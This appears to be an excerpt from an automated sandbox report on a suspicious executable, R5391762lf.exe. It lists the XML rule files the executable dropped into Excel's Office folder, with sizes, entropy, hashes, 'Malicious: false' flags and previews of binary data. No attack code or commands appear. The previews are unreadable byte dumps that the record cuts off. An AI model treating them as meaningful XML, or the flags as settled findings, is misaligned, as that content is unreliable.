Malicious:	false
Preview:	<?xmly.p..).....id.T.Yu..._..n.f..$7}..}.q..:....f..f.a.Z..%....V."V...W...&.....J.%P@..`...{{..JJ.=.Aq..mb...p.mw..4..vS.Hl....%./n...I!."w.1d.V..hC.]..8.{.q...U"9.5.(...!.Q.....0.....F.pZ.........\|Ut.6qtz.K.k..L.6.yu]~..p..JA.&.....3......%/G.o....~{~W0..b.....^h.Y..5....pAX....M.^.B..Z.....,.L....Y.9...OK..GrJ..e.5..fI).+.uf.G.J.c.Yl -...v....A.qI....:m../.{p.....q..=.4x.+-.B%.+&.{.C... &k..E.E.v1.1^...~...%.......#e.e`.!.....P.--1.A..>../.qC.g.....p.....$...0.iX.bG.>..W.M3@A.,.Yp.-..U....6...+p.IsB..G/....P.E..e..xjYS'..m...QgR...f..B.[`..y..:.'.. .i....p..gi)..{El.k5..!;.1y.m=.Pl...Y}<~...~....ZC../h..d#E..$v..X..a..wN..ka..r....)?.qB...s"..Q.....o.{......k.............qh;:..6J43....E...h..b.s...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240014v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.745205613011196
Encrypted:	false
SSDEEP:	24:ydWjbikZG9Dpar9/XID5TpBW3+3Cvra3L7LXq8uWbD:wWvikZaUrliNvWdvra77LXFuED
MD5:	734700FDD9230598695EBE85606FC9A8
SHA1:	140CB3D8BD30407C3BE6DFD9C90B02D9B3E29BE1
SHA-256:	E2A4CE22AE7FDCFDDD7D11EF7C15DA30285F66DF25DE3F6483969E7A1AC2509F
SHA-512:	58BE423A63E8757C4D42D7E40146F5A84ACE6E624D2FD205BD954B1C0AE51512A378D3DF01C0DF190885B1C800852F50EE1FD8939A89075DFFE801C4C7213627
Malicious:	false
Preview:	<?xml.....]>.Qg.....:._..8....R.!1~.c..G..2^.......Q.x.H...e...^...Zd.....H(..K..jq........r....s..$,.:........%\|t...D.J4.!.D.:H.e..!.......H..M...L.U..i......M.....G@PR.:#..-.....,>.3..A...r'7dYb.<.z.M...d4f.@.l.3.....s...I.f.>.4.....E..M..(...t...D..H5j>...].}vF./.Oi"..1X.....^OO<p.;..g......3w....?.c....1v+8....c..G.l....##.?..N.c.J.3.A.+..._..1.dwk.....r6.s.w.I..6.m.e.....)...V..{.C9.q.;....">..u*.(....R.I.....b1.............6....E..r...U>.......m.u..z....-..RH....e...n(..PI..e............K...US.]..6.'...'..fU.6.W6vnaME..gW..N....DK:'.....,. ".=.^2..B1.9.......T..S.;.G.4`.JT.!..0..p....1>.d_..-..{ R..V.,...Q+G..4..np7..`.....\T..#.....o.]........y..N....IH{`Dj..m..$.../..}Rk..#.!L.X\|........c...^.H....E,Wxdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240015v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	759
Entropy (8bit):	7.685290486336396
Encrypted:	false
SSDEEP:	12:Gv4U5ETlAOMmQ1HR7BIigADrVvKHaXXrsGvprInDi227Gg15oQTxChan+XqOTuWX:GwUsAqmBAo1Ho8InDjg1JTxC4+Xq8uWX
MD5:	3046B488A6081C35BF9E1DD56E824F19
SHA1:	F3DAE0ECFF73A3E941226AA855AF212856AD7D3D
SHA-256:	3765C760D4E2E948888C319871FBCF433F82A9356FCD1486A399254F3ABDA11D
SHA-512:	DFB1CE6C41888A3DBD305504AEC0A33224A8BCCFB31C7A4EB7DBBD7D488A6ADC8B670F4012C1F632E605BB1BC95ABCB844FA262C457F0A8BEF87FD8A2F074336
Malicious:	false
Preview:	<?xml... :>.R]....Z.....M.....Q.w.....s..va...K...k..<4).5..H.Z....s...E.^...@.....S...R...q$~G...w..HCF'=....E......-.....gd..#....H....AcJo..u.T....... t&H.N...+]..;8....#R.....q(D....H.F.q9.-....\#.z....Ph..?...K.....w.b%...P.6......H.-g_..w..T.Q<.8(...(.....\/^....v...._H....1..#..I.K...<..)M.Q...tu^..B.5..rH.w1_.}WJ,....s...7..O.H.R.....tY~.#A.....i...9I........egV\|.......E1...."...a...togL.......".. ...}aD..a.#.......l...;.........i....L_.....b..$........r)I^.<....3...U%...b.....J>....i...x.U..+.m.t.:..$z..r.nd#...i$f&.d.....V.f9n..............%).}......s.aQ8.O.M...G.lx..(s+..M2......jEXd....F.t...J.....h..O6x)K...p.4.&.1.\|Z...?..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240016v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	852
Entropy (8bit):	7.749651573498417
Encrypted:	false
SSDEEP:	24:Ym9S8knJuXO58VqdwZ8NDzn0RDE/MyameVMmipU7nprBzXq8uWbD:zJknJAOSo6ZQznAw/MyameF7pZXFuED
MD5:	D215A0B88B1F6DF652E9AF2BFA78FEF7
SHA1:	9A30B6CCAE1920DF8E112AF57CDB2FB2643682B0
SHA-256:	1FB796C62CA28A5840892E32C6395F0A2053165CBDCF06D611656F8A42D099B5
SHA-512:	35FAB93F0EBEF3C4F977D988B4B3E0A941E017DCAB624DED95FF9128931350403DF5BB636B881B33537CB6CAECC6E3CB45F9FE14CF43CA08E8C13D9C00173AF3
Malicious:	false
Preview:	<?xml..Y.c<...)....V0.D.......... ...c...."....2 (dh...)....v0...........[...:.A("Z@...N..cT...~.(....'.Vq..8....0....Nv.......Z..7...HX.V.N....v.b.w..!.`K.+..6C..G........\|.......2.9..#.<..$v.R..fR.vO...0C#...o.>~r.C..\|9hV.&.e.-........j.y.....PR...W}...........0c...1.PS8{.{.....Bc.....xr.....6....cC.P....^ ....\|....0.=M.........y......Hs..$..HYm...$...k.Q....r.!..z.0..4p...8P..j'^. YJ...W.j].]e...x.k.x.<;....o..l.\._..b..l\......}L.K.q..+..\.k........L....A.[.=K.u.}[..?....uY#....Y.......3.c.%.....K...H.DY..7...h(.....oO..x<\|......l$b<..D.#gr..\.l..5`@...z...0..O.w...u.;..~.i\|D.g.........v.....yV.....Q~0..o>[......:X.W..8@..&..W.n...y.WL.+;j....?.j..pY.....q..i.:.M.;.l.$..l....r.........bi....w!e.0..%m.y1 B..../qDdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240018v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	971
Entropy (8bit):	7.783373226383201
Encrypted:	false
SSDEEP:	24:nIjgcfOqzNiLiztuk02UVrTjoOIRgSKIwsjVor2lXq8uWbD:Ijgcfb8LJ26TjoxRgSxwwVLXFuED
MD5:	4F9942FD78535BBC53A4B4A9854FBEF1
SHA1:	FBAD3214FFF191107FF194816BDB852AB5F3A83A
SHA-256:	3A61BDE8CDB1D6B8CE6E7580051F20B11E1B6C7CFC6CFB7644562EDD6BCFC9B0
SHA-512:	208BF7912E9A31E855ADFCEBF040D745F00E7E31B411B0C040BAD46F03DD6AC6B81F949D38F9EE77F8C6D361FC1EEF454255E0D95C630FA9B1030B4F15AE792D
Malicious:	false
Preview:	<?xml..._hxj...95...H.m.D.@4...#...'^S!..g..q...3.LA..%)...6....{..aI..pRW..i..)...A.+6...d..e.g".O5...6o.....lg..e..,.GF....\..\C'%:.....#....]F.\.......g.R..xGj"8ss".a.kF.}s..X.'.w..`....D..C..Zi....I..5.NZ?...q.W6.....I.a%S}.9.O........G.cvN..].2#....1.'u.......GC.....7............n......}...].V..;..ML....P....`./.Q...f..s.. ~P..X...:9.......8a.8.V..*.y.r..S....}.lC..Mu......;.oK......@<#.T.,../.'.=]...A.Np.Zg..0.u..<........o&....\|.\|\|...VU.1.....3..j..8....Q. s>..N...>r.)...!klg..?2..D;..0l.../..u..U.8.!..W.....Z...E..F...S.....T...KH.!..."w..jS...".1.iQ...9.8-....."q.A.....9.....y......x.\..^.r.Z.2.}...JT.x...i...v]e....f.=h......J,...E.^...p\.KD......... C[G....~..o.$....=.j.....6.V7......:..D..N...S.\....\|r+.4I.9..7n>...<4.H...@n5C...J.H.HN..e;..<......W....g......Q).L;...e..Ap.......-.H...3....w...W. ..f....w.~.6.........1.Hm.3.Odoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240020v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.761720992347779
Encrypted:	false
SSDEEP:	24:RTb+B97pWL5b8BVYVfujvf+HMCwCIxj1imeKT3Xq8uWbD:R75KVo4utVGimp7XFuED
MD5:	CC8E10870A3DEB2DFFB62E5FFD21134C
SHA1:	5DBA05995AB3F8682C4FD8D14E30CB14E132010A
SHA-256:	E8A1BE004BE74068B4EDD46F0F49DFBB8D31D6F2E85FB8AC405E87E5F4689095
SHA-512:	90AD90040ABE1B43368B7BE1A2826AEA84F8102587FEFB2181370D42A948743375431C6DDA93013A894F9160569395710EA8C08AA02302D0939D506D79E2E274
Malicious:	false
Preview:	<?xml.J..1W.K?..........v....._Q....q?.0.-_.........]Ng-3.@H8.{t..0..t.!((.[...2Cm..s.......S.S.BI"......./.i..N..\|..t...[...3...F...e.\| &.#......9e...[..'=E.0hp...2.J...-.......a.......z6r.-.K..%B.v......p....f.L.......wQ..:......T...f..A-..(._ftD1:l^........N.M.=1i.ws........T4.........'.Y..\|\|7I.O}a... \.i........2:...&qA..3S.4....?..._...]...L.i3S.................z...T.............:}.....U.C.....Sf9g....#.....Q......\|Ss.8IBnh5....:.G..>g.a9.y..V....$b...h....J..w.#_.7..>...k...U.Y...h.....~..?....b.c.\..\|.}...j.2. w.7H.[..E(...We}.O!.....?-....^......g.6?/"..k.b..{jG..rfdL..`l...M.n..L...5..&.J{}.,..@...pC,<.#.u.....m..9.q..*..o.......&....T..zN...3Fjm<4.I.c...Ne.Tu...G]...=H.....&%.(....<L..\4.8.2!.}dp.f.V...{.i\|.qt\|...!.K..T.......o...z#.;,5.=hA.e...._i.v&...^/X......._..>...JM..J.<rQ..4.Xq.z(.B....k.NsW3.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240021v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.783566117720799
Encrypted:	false
SSDEEP:	24:ypmDpG9RUip4xcnDTkSmZatxYRzkjU6t+O4IMXq8uWbD:ymoBqxcnHkSmZatxYRSUvcMXFuED
MD5:	54A599F231239931EA6264D1C8B1B873
SHA1:	12EABFA725E19B81E52B3B1D25521762C1EA0DBD
SHA-256:	FE9B3EA90D489BD62784A068A9D5F9494730A701F6305DF1A29469270A8319A1
SHA-512:	E156A7746C72B57071ECD17B213810C95F36151E24889913F49347FAFA00C0FF975D9227AA55F7E5D87EC7AAE05007D36569D0C4AD75FFD616EE89416F1E4DD9
Malicious:	false
Preview:	<?xml.R%{;h%..l.Xj..u.....p...z...<3.LY..\|.qcy...8., .E.j......?..%...`.aD'....O..#R......d..$??ZH.W...W:+hI.......ss!Lr%t.....~.].....?..S....Z..4....)v.OXe3..GK.v.)..\...'^h..=..l\.....t..,:.0h.C.V..O.p".......L+.u..R)...e.....=.M.<...6.x...w..&.'t.....e....T\|....mkq."..2..N."mA.g.....'.....3...K.z1_t..8"..j...f...7R..u.....I.X.._u..y...#q8..BC...\.v,..e.o..9....~ ...d9.....T...N..V4.C...K...H.k+ .../t....5..g..y9..,...:.o&...R6.P.;..rr.Qe&.k..{]..3.a...@.I.U4.~..Bz.dxHGh.7...R}...W....l#.......:J.E..;.u.1.cd.G.c..@......f.r...s.)\.H.o....../.s4..1U>..u;a..(3....N..K.C/.}..................qf..TL.`...........b.l.L`..<;.w!...%"...PB..oo..r.C.2.....zS...'.....b.U..zd.t.=..$0......r..M.zF2..q.l.x 99...Wr..)v..c.(....i..'.-.{. Y..,$..9.8.z..4...W\|..;].`.8..VN...T.....ma....C..p)o_....\|.P..xu....N.iol.M.Y..b......m.0doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240025v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1639
Entropy (8bit):	7.866104122126803
Encrypted:	false
SSDEEP:	48:Y/oX1ENGJ4yIcfuHqyOvCXleI9wXH8wN55Y63qEKXFuED:mb0UcmWvCXleI9QD55YEqEAFuQ
MD5:	03F05CA767BEE290711AFE82AF0EC631
SHA1:	2D28303398A5B238B7389A3A630D12DAA78845EA
SHA-256:	63B94220622A805BF775E92F5732914A10B683B4D49CE006A2D3D84E66EE12A3
SHA-512:	8BBE21099D8E131414E834227E4ACB58A7A78651F600DD774BA657A3831CF27E0B89AC3ED164AFE2FF09EE8CF1BF9145245535530B7292FBC39B897B8F617BC1
Malicious:	false
Preview:	<?xml..8...2.P.?...^.....Z...7...Y..{...B..J..y.Q.y.)..(.'R.1..i+.X.A....;d..%.....tw..(0SR.g.'..L..:.g....L..m...mI'O..1.T.b.%.0.]T...m..y.:.M.x........8....R}6..s..a.$~.......g]B3w.MW#atd.o..a.c...v.K.. 3p.Ma..`.]..i2.p.G...e=....p..{..1...~4.g..U..G.).B...o....Y~.P.c.h.........d;..Q7F...ska. l.;.m..!.P.....x..'.R.8..\ {M...........!....../.......`.Q...6....t.....?ZQ...<<V.J..U.e.T=...0'....=.a..k...........i....I_)..%..u^rE.....3......+9%.....i<C.,.~.wTG..WSd.9.......C.Pm..@z.t..]8....LR..l...A{.k...by$8.U.....;.....xtJ.....a....#..%....q.,@.i.......].:.Z...`o.:U[.{........$.]&X.{...xk.<...,N..P.+...N{X.......%1..h....D....8.n.....S....[.F....eE.(.k(zq..mY....DD`..........;}J..i_.jSZ......N. .:o5..C....1.kH..3#.%.!...:...X.q...hF..u)...n...].dC+.%&...NP....N7...P..e..Y..c..Q..R.Ab..C.r......1...X.?....%B.=}.<............^....5{....4#5..^.......\%...V#..TRJ..x.r.?.....$.....Y.$.....&..DI,.{.)P...fAu.H..F....../.k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240026v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	7026
Entropy (8bit):	7.974990603720805
Encrypted:	false
SSDEEP:	192:Tll9DBQpO9joDmg/94ivO/4nygTszrPaLVxEvFKVoHcQ:TL9DtAm89TvOkszrS2eoHcQ
MD5:	3581B4BE3606CF1FA12A698C56C61126
SHA1:	4F2CC1F96BD1D45DAA62A68B2C26D3EAFEC90BE2
SHA-256:	0122AA6AE1BC5EA9DED00C3FB93332038E472B9BFDA97F287497DBCC86FC272A
SHA-512:	9198FEAD9A3D2C53A35BC18C0A47DC6E198FF45CB2B6C6C33E4670BC2C6687774CB4C663D3FAE0219F5482C3A8C205F4948982BA8778B2701A61D77C8F1A3704
Malicious:	false
Preview:	<?xml......l:xx..<K.I.:..=.O.S)../.!....9...SR).Y].c8..F..L...u6W.!.X...,dR...b.Bp.. .....E%..,.s.3...[....tQ[..y..H..7w...iYI.v..i%.w<CE.._......1~.i.Q.S".e.4H.B-x..J..."^.vm...d../.\|.ts.3..............d7..q8..j..J.....?..\|. .9$.3....m..T>lk...2....y.....r}.w1..?......q...e..bgs..%.q...=wi....d...Q.^O...6.j..&.I..u'U...z=X.5....ll..n6.j.j3.d.q...Z....e.J2.ewE...X;2y.1.`...$.....U..I...../.jF#F9V-.J....}.C.S...V.......F...mFL .....c.d.3....AQ..I.=..}..e.::....\| eW.{.S...Rx7.\..:[.Ss.s...+...\|0.K#...$<..!.;.8j?....^.W...A.q.N.'...p.$p..0..I...7?.S!v.X.S......%..].L..-...7......\|.....u5.s0D..H......h.,.3.DN.z.s..Q.<..i.;.W..Q3.(....455.....@...&..'....+.t.@Vg..7......^..h^......}.&..t..W....H<`.o............W.U`.U.m#i..."... ..=.M..Z.h.l......#5.b.-OW&?p?w$....>.(/6.i5...}<...........Kn......M.\|.4.I..H.6h;.E.z...W../Z...h...oNq.).>..m.{.R0.\|-.P....n..bb$...'.l.i.....e ....1K.8.pjE...c.e....O\ ]....$...d....@(..].9V.)..@{bN._*.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240029v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.732865435003545
Encrypted:	false
SSDEEP:	24:JqyDDrHmiLTGYXXGsgfsuniygTXq8uWbD:JqGD7miLKcFgfJKTXFuED
MD5:	488F8CF96CF8388EFB90E4EB9664C257
SHA1:	1FBD7F442EBB4B2AE7C4942786E1A6F883D37B62
SHA-256:	76CA8031A541BCDA638F5989733B6B22D7D980212471CE9C7C87441473827D1A
SHA-512:	E888A451034B97DE79644B1923969F2E37CE7FD2B53B9280B8218AF1A158D0018CF4E1624EDC4F95ADEA1006F18ED29C878D53C8E5BC07AD1B0BD83B38626BB1
Malicious:	false
Preview:	<?xmljZ.J...+........9h.F..g.rS.............kT.b.)^.. ...H..L&....4I.e.=...-....GD..aj.M.....Z...0.Bh!GC~m.v...~...P...0.u....xR..~<.R%b...Z..;..#\.GX...lG..w..<r=a....2..m...c..p...$x...k.......+\..`.We..+.mr%..NY..%.4f..x.;.....r....K.=....."........=..B...G....z..3..,.*..?.#..E.Q..^O....FNj....z..,c6.(...6R.[#.x...`....le\|i..B.4).+.y...S.\|.i7.............6..w.n.p_~....c4F"..@U.e.....b]2. .Q.....".@/..D 6....vW<.]..R..P.t~[Sl.._..u9.......c.B\.&z.2...4........)B../.....]T..t...:..)`..v............%.R...}b...E)..O...Ck...'6O(....t.w%...z..9.~..+ n.<K..vQ(v.X..WqN.Or..2.+...l.A.$.O.j}p.5...J.$K.j.2X.....{....H........L.....iPU1...hi.}Phbn...^<.h..]....P..}~.U....!...S....o...1.].w..W]..T....&.jAB....F7H.&..<~.x.W.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240030v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	946
Entropy (8bit):	7.766403819797903
Encrypted:	false
SSDEEP:	24:Hwvc9snU+bkkYfr1lu6l6REJXLYGHCSChzkhuMnXjSZeXq8uWbD:Hwk9X+bktfZluC6GJXLYp9hz1eXFuED
MD5:	47D787970907F9F6200CBAC3738A4C03
SHA1:	567C697994EE894C27C14AC525A549009920EAEC
SHA-256:	46DE4B99319895F5C1B6C9253F99AA896E79E07DA58549D6876E209EB0B97A7F
SHA-512:	2D49CDE99A3161ECC0F8CCF59CAC35E7593D9B2B54F647CE86E5BFAB11D18E7C11BAEE05CFDDABF3D611F3285BCE68BB4FA3400549390451AA3A371B4AB721D2
Malicious:	false
Preview:	<?xml.,...K.p.zg..Ci(5....@r%.{4w....B..C".]".[..x.M.v]..t`24C.....8E.:.F...4r@c.........L.}ll.3.........u.g..J.o..[.~.X.g.C.....ou....;....mBVJE.<.'x.S.......l.+....0$...@.b!B...7.Y....H-.)...h....T.q&.....X.6.gR.O..&F.......(wf-j.rqws.xoA...oY/._....?g&2........f.N..;..QP... ..4...D.z.M.`......d.!_...ot.M......R.slJ~.N.?6C..Qt.W ..H.Qy..A.....3.1.T..N.hz.l......@...<...tX....u.L...u`#.......Y..4.}.W`n..u...H.........e}2...wo..B.t%x.e.sO2F...)[.5X4T.1...\.....D.B#..P.B...L..P..?JM....f~..........-...:j....\...3....E!<.h.&..".0.a..{..........~..6v..\|t.p..X..C..xMu5K.]....%nr.....T.c".o.......3-.'.T....D..z.H..8&?2.....5.#H...>.;.M...(..\|...2.%..c......X5..'..YU...P`..\...',+..<I4.kp...:o..)u.p..\..HE..}."..rnZu.5DP.v............CzP../.y\|...Ei...a...y..=.u...O.=.,..6.X..1G)..Mw?....E8.Y..>..>.......I.}doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240031v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	842
Entropy (8bit):	7.734369465195775
Encrypted:	false
SSDEEP:	24:xARED6XoToDlGVezpXZswqBayrPTXq8uWbD:W+DWokD8OXZcJfXFuED
MD5:	040504EBC5C40C224534213FBE416F18
SHA1:	0E484CEA9B9AC460B11EB11B3C0F001C89790BD1
SHA-256:	553022CB69EFECDEFF47F5C99AC8CD2830787F650C1A79F5D83086CB090694AC
SHA-512:	64AF5824B1C131CCD75F650EE53FACE778BD091331A129F25CB226670A42217571EE060DD69CE8908ECE7CADC3B23EB264DCD650225A559E1F444FB8AF1E26DA
Malicious:	false
Preview:	<?xml........._\.6%.e9;B..!.dT...`;\.r.... .:..A..]....[......`iL..B+..v.0L.G..".2U.hs..6..$.S4..:.."(O._.H-c..2...O...M.bera.`.0C.y...f[...[M.U..+\.a.....jq...Ry.{..........W..H.1...2&b<....'..V+..7,..j.7V...V$...85blm.x..z...(.....7uiPk...V?.h-...P..`.ya."..".GG=..o...../.....X7......k..`.....7P.f9y.R#....Ui...+0v.C./L..k....&...I.........\.L.].~a=.........d.4....../......m.y..\qxw.B'wq...._.+.............@?.p}.$4..o...<...).OP@o.4I0F..c%.u3T.G.F..1.........Wt...C......+>8has...YE..Q~.pl5...t#...[s.N.!L....w%..+..2{.H.......I.... ..L+#.l.TyW.A.A...zh......s...a..>.#E..\...;..L.\|.. c..I<.V.;.....,d. ........=..5u3..........L.n..i.`.q..l..NO9.A.{.kP....t.$0[._;F..s.-.2m7J2..75..=.M.~#.3..*gdwbv.w..{q.yCw.z..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240032v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	7.841770149127472
Encrypted:	false
SSDEEP:	24:EulWMUgAPLCEy7O0uIfxQwB8c07VmRApAXq8uWbD:Euo35WoMBc7VmypAXFuED
MD5:	CD076B165036879F35116008569B481F
SHA1:	C50D871DFFABDE678987C61DAA5A21E24F30C428
SHA-256:	21AC9BADCF5DE4B9CD1936F5FC0CF53E125A8969E6E217D7F114CEE408A6F400
SHA-512:	8FFE7EFE4B1139BFD21EC8E60D9C57E008473522A98A73B3CA15854733047A80B73F586A23176A03D42E0B7002C8E8C5669BC0D77F0698D3E003E98615F6E314
Malicious:	false
Preview:	<?xml.f.N..g!].L._...{....b..........g.....:X......7..d<..r....5.....g^s.-..Z......$.+f.Z..._......\|......o....3......Xx"V^w.7O...+...-...,C?h.-..I..h...J8.\R.a.:...D.q.<\|.D..Q0F........p.P.....6..b#..r...~....k5...M....t..#...ftZ.g.S.~;KOZ.80.8.Wh....1. .....J..[#.....[.+.T....I.)%".....qsj..a7....!...>O~.3.h=Ko$.1..9.;..B....8...m..z!..c...AX%..A...t.o..v.`...>jp...x....z.."4%.f.FG.'....20.Vw.`u.u3.;....?}.s8eb.X...Qj.[M'...H....OX.......X.n.`8...wC..SL..........D(...._23E.dZd.!}T8........2.r....q...z....O..g...=..B.#.....o.~N...^.?.4J.#..u.f..u.......n..F=....&..........2.x..A......3.yA.9.....d....bW....2.&..a.,.....g..\.....\.....h.....0{..x... .......[.q...<p+n....{.t.a S.s/....y...p...2.P/.Q..$..Uup.2.9.......=......Q.v...b...j..s;...m8q...:..d9.. Pl.t......,.T...1.-8...^..*.wP.....Sg>.n._.!..)...U.....18l.....%...W............l....o%.'. :....eOTzw..WInjv.d?.><..K.?....8H..X8.6.T..(x..h_.r.ef..E&..m.e..L...G..zz.R.......$..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240033v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1366
Entropy (8bit):	7.864760655691518
Encrypted:	false
SSDEEP:	24:gO/iAK3wb57weF+vED5e5xgG5Z7XrQkPVWDI4W+1H/2DXq8uWbD:gO/iT+RM1pXrFwI4W2/2DXFuED
MD5:	3C140EAA755BA062BCB846A4BD08FE64
SHA1:	8690DFCB682E81C2C5B868BE529D972823601DDF
SHA-256:	0C114DABB8A62C0645B55DC5E4A1D24D9CD93533E36B9D8FBC2E255C65552D7E
SHA-512:	49D446DE749EAC5B16763A426CCA59A809DEBB7D5281BBB2570C0CC3159C2F7FEC8F2EE487A78DE86312516D7BD16241130508B90CBF3967CA4275DA78771076
Malicious:	false
Preview:	<?xml0.E...[..m;R..<.K.M....V.E.G}F$.ls.b.....C.Y..\|...`R..G".j.,.]n...V....J.....[e.8'L....K...E.....}zNY.q...M...mu...5.}.....}^..O...tC....y.a.PA..Gc9PE0..nrKc.Y..y..>7.....T7..s...m..r.O....\|[.b...9.0'.\...q...W4...~i...b..z.dw,...../..P........X...N....&.qs.O.BZ........N)Z!...+..M..f5......X..C..a......'V.........:)..m.....@..k{C..`.J'...\|.@.4L..s..,..lp.........n....ggY ..8.Dd.w..O.-.u..... g..].g.W..... .x..=h.Dp......$..868.....K..%.....B.;...a..M`A"....>.....'..Y..;.8R.':Qn......Ts]G.k...O.....<k..../...:Y&..Y.X........3i...i_. ..b..r..S.[.)$'...~.-'.....W.s1.h?.....I.......I.U...:.. ..%..`T.X....-C.8...#.......N..%=.....j.>9...Q, .o....}.S...n.&)......:..'1.2{...$.......f+.[..z...7..;Q..}.&.A....f..,....:..M..W!.&.-.z./..w........a>.y"~..j..r.....;.ql.TY.....d..1k.T.[...++>R..CB.8.b....a.~9......RE^.w?B.....N...#..o.v.h[...,.m3.yy.$&...DY..@b.....Ao.$.N..R..7v\|D..%#`;O....]....>..yn..L..PGgW..cF.;...d.Z.E.{....3..S...;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240034v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	728
Entropy (8bit):	7.697749703247897
Encrypted:	false
SSDEEP:	12:HGgY/tEYDXcxeQw07WhgaLW3m42mpB0jTEC3jW1YeT5wJe3jKXqOTuWcii9a:HGnOYQBf7WSaLOpBOTHzWlJjKXq8uWbD
MD5:	D45996FCED95F3523841BAC01AC17AF1
SHA1:	5D2F63145657DFE824D44CF63C9F4D362B03EE07
SHA-256:	E7DD7BC6891D81D110EC6C5AD8A58E1A6F9E494BBFEAA4866E95AE8428B3524F
SHA-512:	B898A8B0558BCB66C8F2A67E1E3D6DF12D63EDD10C2449D00DD16F97B1F17026417C52B4F23B5441E76B77F484A0D67C994B2BFC6E3F081C77E613ACD255E57E
Malicious:	false
Preview:	<?xmlb...G3/............d......>I\|..da5ce.{.......a3.h..{<"...$.....6k...$+.qh'pi..]!a..d.m.J..>.A.]jm.i..4.._...>...._$..66...`.5f.....p.,)WA.N{S.......h*...Sw.YC......k.....P.W.....J~~N.VBn....o...".......k.zlQ.T....%..)'XN...g...-j..X..s..HU.....5cg..SL...G.....$.I`....\...j.8#o..^.sfS.:.f.(b..Z...S.......,k''.YT..3.Z?.5.5..\...O..+.j04..#...?..S.+g......c.U...#..&.Z.+.3........y.3.H...@........w....)H...UX.mvc...S...O....$..$.R ..G...qf.............RPM]0P.CI.v....{f#...k....5/;I~....g.......i.....jR...SF3.'..:.9u.ZR.-.hml.A.u....m..u..D...:...Y.!...U....~...]..........X...k./.sG9.d....84'....f$Jk.K..C9...D...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240038v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.8122859638938555
Encrypted:	false
SSDEEP:	24:dlfOA2W1BBcQq+iAxzJm2yx+ukeR0Vyc2sNCpOMcd/Zqbnp1ozXq8uWbD:vfv2sBiQqL6tUgw0Vua8KZqbnXozXFuQ
MD5:	D01D6026F1EA03B4072B2ADBC3A40E02
SHA1:	7F1EB0BED4EB398B87D107871F0D9A9937C25AD1
